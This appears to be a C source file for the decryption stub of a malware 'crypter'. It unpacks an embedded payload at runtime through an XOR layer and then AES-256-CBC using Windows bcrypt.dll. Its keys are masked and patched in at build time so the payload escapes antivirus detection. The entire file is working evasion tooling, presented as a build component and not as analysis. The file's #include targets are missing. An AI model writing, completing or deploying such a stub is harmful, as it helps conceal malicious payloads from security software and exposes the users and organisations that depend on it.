/** * decrypt_layer.c — XOR + AES-256-CBC decryption using bcrypt.dll * * Layered decryption: * 1. XOR decrypt with embedded 32-byte key * 2. AES-256-CBC decrypt via Windows CNG (bcrypt.dll) * * Keys, IV, and payload are patched in by the crypter engine at build time. */ #include #include #include #include #pragma comment(lib, "bcrypt") /* ── Patched at build time (keys XOR'd with per-build mask) ───────── */ /* CRYPTER_KEY_MASK_PLACEHOLDER */ static const uint8_t KEY_MASK[32] = { 0 }; /* CRYPTER_XOR_KEY_ENC_PLACEHOLDER */ static const uint8_t XOR_KEY_ENC[32] = { 0 }; /* CRYPTER_AES_KEY_ENC_PLACEHOLDER */ static const uint8_t AES_KEY_ENC[32] = { 0 }; /* CRYPTER_AES_IV_ENC_PLACEHOLDER */ static const uint8_t AES_IV_ENC[16] = { 0 }; /* CRYPTER_PAYLOAD_PLACEHOLDER */ static const uint8_t ENCRYPTED_PAYLOAD[] = { 0 }; /* CRYPTER_PAYLOAD_LEN_PLACEHOLDER */ static const uint32_t PAYLOAD_LEN = 0; /* ── XOR layer ─────────────────────────────────────────────────────── */ static void xor_decrypt(uint8_t *data, uint32_t len, const uint8_t *key, uint32_t key_len) { for (uint32_t i = 0; i < len; i++) { data[i] ^= key[i % key_len]; } } /* ── AES-256-CBC layer (CNG) ───────────────────────────────────────── */ static int aes_decrypt(const uint8_t *ciphertext, uint32_t ct_len, const uint8_t *key, const uint8_t *iv, uint8_t *plaintext, uint32_t *pt_len) { BCRYPT_ALG_HANDLE hAlg = NULL; BCRYPT_KEY_HANDLE hKey = NULL; NTSTATUS status; ULONG result_len = 0; DWORD key_obj_size = 0; ULONG data_size = 0; uint8_t *key_obj = NULL; uint8_t iv_copy[16]; int ret = 0; /* Open AES provider */ status = BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0); if (!BCRYPT_SUCCESS(status)) return 0; /* Set CBC mode */ status = BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE, (PUCHAR)BCRYPT_CHAIN_MODE_CBC, sizeof(BCRYPT_CHAIN_MODE_CBC), 0); if (!BCRYPT_SUCCESS(status)) goto cleanup; /* Get key object size */ status = BCryptGetProperty(hAlg, BCRYPT_OBJECT_LENGTH, (PUCHAR)&key_obj_size, sizeof(key_obj_size), &data_size, 0); if (!BCRYPT_SUCCESS(status)) goto cleanup; key_obj = (uint8_t *)HeapAlloc(GetProcessHeap(), 0, key_obj_size); if (!key_obj) goto cleanup; /* Generate symmetric key */ status = BCryptGenerateSymmetricKey(hAlg, &hKey, key_obj, key_obj_size, (PUCHAR)key, 32, 0); if (!BCRYPT_SUCCESS(status)) goto cleanup; /* BCryptDecrypt modifies the IV buffer in-place, so copy it */ memcpy(iv_copy, iv, 16); /* Decrypt */ status = BCryptDecrypt(hKey, (PUCHAR)ciphertext, ct_len, NULL, iv_copy, 16, plaintext, ct_len, &result_len, BCRYPT_BLOCK_PADDING); if (!BCRYPT_SUCCESS(status)) goto cleanup; *pt_len = result_len; ret = 1; cleanup: if (hKey) BCryptDestroyKey(hKey); if (key_obj) HeapFree(GetProcessHeap(), 0, key_obj); if (hAlg) BCryptCloseAlgorithmProvider(hAlg, 0); return ret; } /* ── Public API ────────────────────────────────────────────────────── */ /** * Derive a key by XOR'ing encrypted key with mask. Operates on the stack. */ static void derive_key(uint8_t *out, const uint8_t *enc, const uint8_t *mask, uint32_t len) { for (uint32_t i = 0; i < len; i++) { out[i] = enc[i] ^ mask[i % 32]; } } /** * Decrypt the embedded payload. Caller must HeapFree the returned buffer. * Returns NULL on failure. */ uint8_t *decrypt_payload(uint32_t *out_len) { /* Derive keys on the stack from masked storage */ volatile uint8_t xor_key[32]; volatile uint8_t aes_key[32]; volatile uint8_t aes_iv[16]; derive_key((uint8_t *)xor_key, XOR_KEY_ENC, KEY_MASK, 32); derive_key((uint8_t *)aes_key, AES_KEY_ENC, KEY_MASK, 32); derive_key((uint8_t *)aes_iv, AES_IV_ENC, KEY_MASK, 16); /* Copy encrypted payload to writable buffer for XOR pass */ uint32_t enc_len = PAYLOAD_LEN; uint8_t *buf = (uint8_t *)HeapAlloc(GetProcessHeap(), 0, enc_len); if (!buf) goto wipe_keys; memcpy(buf, ENCRYPTED_PAYLOAD, enc_len); /* Layer 1: XOR */ xor_decrypt(buf, enc_len, (const uint8_t *)xor_key, 32); /* Layer 2: AES-256-CBC */ uint8_t *plaintext = (uint8_t *)HeapAlloc(GetProcessHeap(), 0, enc_len); if (!plaintext) { HeapFree(GetProcessHeap(), 0, buf); goto wipe_keys; } uint32_t pt_len = 0; if (!aes_decrypt(buf, enc_len, (const uint8_t *)aes_key, (const uint8_t *)aes_iv, plaintext, &pt_len)) { HeapFree(GetProcessHeap(), 0, buf); HeapFree(GetProcessHeap(), 0, plaintext); goto wipe_keys; } HeapFree(GetProcessHeap(), 0, buf); /* Wipe derived keys from stack */ SecureZeroMemory((void *)xor_key, 32); SecureZeroMemory((void *)aes_key, 32); SecureZeroMemory((void *)aes_iv, 16); *out_len = pt_len; return plaintext; wipe_keys: SecureZeroMemory((void *)xor_key, 32); SecureZeroMemory((void *)aes_key, 32); SecureZeroMemory((void *)aes_iv, 16); return NULL; }